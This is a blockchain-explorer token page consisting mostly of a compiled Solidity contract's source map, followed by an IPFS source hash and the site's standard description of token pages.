32:84:1:-;2371:13;2404:4;2397:11;;;;;:::i;3795:147::-;3866:4;3890:44;3902:10;3914:9;3925:6;3932:1;3890:11;:44::i;879:26::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2737:192:0:-;1883:7;1910:6;-1:-1:-1;;;;;1910:6:0;736:10;2057:23;2049:68;;;;-1:-1:-1;;;2049:68:0;;3461:2:2;2049:68:0;;;3443:21:2;;;3480:18;;;3473:30;3539:34;3519:18;;;3512:62;3591:18;;2049:68:0;3259:356:2;2049:68:0;-1:-1:-1;;;;;2826:22:0;::::1;2818:73;;;::::0;-1:-1:-1;;;2818:73:0;;3822:2:2;2818:73:0::1;::::0;::::1;3804:21:2::0;3861:2;3841:18;;;3834:30;3900:34;3880:18;;;3873:62;-1:-1:-1;;;3951:18:2;;;3944:36;3997:19;;2818:73:0::1;3620:402:2::0;2818:73:0::1;2902:19;2912:8;2902:9;:19::i;:::-;2737:192:::0;:::o;3950:304:1:-;4067:4;-1:-1:-1;;;;;4092:19:1;;;;;;:44;;-1:-1:-1;;;;;;4115:21:1;;;;4092:44;4084:93;;;;-1:-1:-1;;;4084:93:1;;4229:2:2;4084:93:1;;;4211:21:2;4268:2;4248:18;;;4241:30;4307:34;4287:18;;;4280:62;-1:-1:-1;;;4358:18:2;;;4351:34;4402:19;;4084:93:1;4027:400:2;4084:93:1;-1:-1:-1;;;;;;4188:18:1;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;4242:4;;3950:304::o;4265:303::-;4398:4;4419:16;4423:3;4427;4431;4419;:16::i;:::-;:25;;4439:5;4419:25;4416:55;;-1:-1:-1;4466:5:1;4459:12;;4416:55;4492:16;4496:3;4500;4504;4492;:16::i;:::-;4519:12;4523:3;4527;4519;:12::i;:::-;-1:-1:-1;4551:4:1;4265:303;;;;;;;:::o;2937:173:0:-;2993:16;3012:6;;-1:-1:-1;;;;;3029:17:0;;;-1:-1:-1;;;;;;3029:17:0;;;;;;3062:40;;3012:6;;;;;;;3062:40;;2993:16;3062:40;2982:128;2937:173;:::o;4576:387:1:-;-1:-1:-1;;;;;4701:8:1;;4680:4;4701:8;;;:3;:8;;;;;;4698:208;;4733:4;;;;:21;;;;-1:-1:-1;4741:13:1;;;;4733:21;4730:122;;;4792:9;;-1:-1:-1;;;;;4777:8:1;;;;;;:3;:8;;;;;;:12;;4786:3;;4777:12;:::i;:::-;:24;4774:62;;;-1:-1:-1;4831:5:1;4824:12;;4774:62;4885:3;-1:-1:-1;;;;;4871:23:1;4880:3;-1:-1:-1;;;;;4871:23:1;;4890:3;4871:23;;;;1576:25:2;;1564:2;1549:18;;1430:177;4871:23:1;;;;;;;;4698:208;4930:3;;4924:9;;:3;:9;:::i;:::-;4918:3;:15;;;:3;4576:387;-1:-1:-1;;;;4576:387:1:o;4973:268::-;-1:-1:-1;;;;;5057:8:1;;;;;;:3;:8;;;;;;:13;;5053:77;;-1:-1:-1;;;;;5095:8:1;;;;;;:3;:8;;;;;:15;;5107:3;;5095:8;:15;;5107:3;;5095:15;:::i;:::-;;;;-1:-1:-1;;5053:77:1;5163:3;;5157;;:9;;;;:::i;:::-;5150:4;:16;-1:-1:-1;5196:4:1;;;5189;:11;;-1:-1:-1;;;;;5196:4:1;;;-1:-1:-1;;;;;;5189:11:1;;;;;;;5223:10;;;;;;;;;;;-1:-1:-1;4973:268:1:o;5249:136::-;5316:4;;5309:11;;;;:::i;:::-;5346:3;;5337:4;;-1:-1:-1;;;;;5337:4:1;5346:3;5333:9;;;:3;:9;;;;;:16;;5309:11;;-1:-1:-1;5346:3:1;;;;;5333:16;;5346:3;;5333:16;:::i;:::-;;;;-1:-1:-1;;;;;;;5362:8:1;;;;;;:3;:8;;;;;:15;;5374:3;;5362:8;:15;;5374:3;;5362:15;:::i;:::-;;;;-1:-1:-1;;;;5249:136:1:o;14:548:2:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:2;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:2:o;1612:328::-;1689:6;1697;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1797:29;1816:9;1797:29;:::i;:::-;1787:39;;1845:38;1879:2;1868:9;1864:18;1845:38;:::i;:::-;1835:48;;1930:2;1919:9;1915:18;1902:32;1892:42;;1612:328;;;;;:::o;1945:186::-;2004:6;2057:2;2045:9;2036:7;2032:23;2028:32;2025:52;;;2073:1;2070;2063:12;2025:52;2096:29;2115:9;2096:29;:::i;2344:260::-;2412:6;2420;2473:2;2461:9;2452:7;2448:23;2444:32;2441:52;;;2489:1;2486;2479:12;2441:52;2512:29;2531:9;2512:29;:::i;:::-;2502:39;;2560:38;2594:2;2583:9;2579:18;2560:38;:::i;:::-;2550:48;;2344:260;;;;;:::o;2609:380::-;2688:1;2684:12;;;;2731;;;2752:61;;2806:4;2798:6;2794:17;2784:27;;2752:61;2859:2;2851:6;2848:14;2828:18;2825:38;2822:161;;2905:10;2900:3;2896:20;2893:1;2886:31;2940:4;2937:1;2930:15;2968:4;2965:1;2958:15;2822:161;;2609:380;;;:::o;2994:127::-;3055:10;3050:3;3046:20;3043:1;3036:31;3086:4;3083:1;3076:15;3110:4;3107:1;3100:15;3126:128;3193:9;;;3214:11;;;3211:37;;;3228:18;;:::i;4432:125::-;4497:9;;;4518:10;;;4515:36;;;4531:18;;:::i;4562:168::-;4635:9;;;4666;;4683:15;;;4677:22;;4663:37;4653:71;;4704:18;;:::i;4735:217::-;4775:1;4801;4791:132;;4845:10;4840:3;4836:20;4833:1;4826:31;4880:4;4877:1;4870:15;4908:4;4905:1;4898:15;4791:132;-1:-1:-1;4937:9:2;;4735:217::o
Swarm Source
ipfs://80fa27164928b3ac830ff4bbf37795aa739ad0c7bd177a666b8162cfb786b833
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.